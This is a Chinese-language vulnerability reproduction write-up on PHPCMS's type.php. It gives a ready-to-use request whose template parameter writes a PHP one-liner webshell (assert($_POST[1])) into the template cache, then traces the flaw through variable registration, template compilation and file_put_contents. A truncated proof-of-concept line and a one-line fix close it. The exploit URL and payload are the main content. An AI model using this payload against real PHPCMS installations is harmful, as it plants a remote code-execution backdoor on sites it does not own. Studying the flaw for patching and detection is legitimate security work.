漏洞复现
1 | http://127.0.0.1/phpcms/type.php?template=tag_(){};assert($_POST[1]);{//../rss |
漏洞分析
type.php
包含common.inc.php
任意变量注册–>$templat
变量可控–>template()
变量$template
可控–>template_compile()
变量$template
可控–>file_put_contents()
由$template
影响两个参数变量可控,借助php此函数解析文件特性,将一句话写入文件。
- 查看
type.php
文件 - 跟进
common.inc.php
文件
对$_GET,$_POST
等全局变量进行注册,将数组的项注册为变量。可以对任意变量进行注册。 - 跟进
template()
$template
变量可控。当$template
输入为template=tag_(){};assert($_POST[1]);{//../rss
时,$compiledtplfile="data/cache_template/phpcmstag(){};assert($_POST[1]);{//../rss.tpl.php"
。进入判断 ,调用template_compile()
在template_compile()
中,$template
变量可控,而$content
变量当输入为template=tag(){};assert($_POST[1]);{//../rss
,content内容中$template
变量可控,最后file_put_contents
函数写入任意代码,file_put_contents路径为data/cache_template/phpcmstag(){};assert($_POST[1]);
{//../rss.tpl.php
时,php会将其路径解析为data/cache_template/rss.tpl.php
POC
1 | import HackRequests |
解决办法
过滤$template
函数。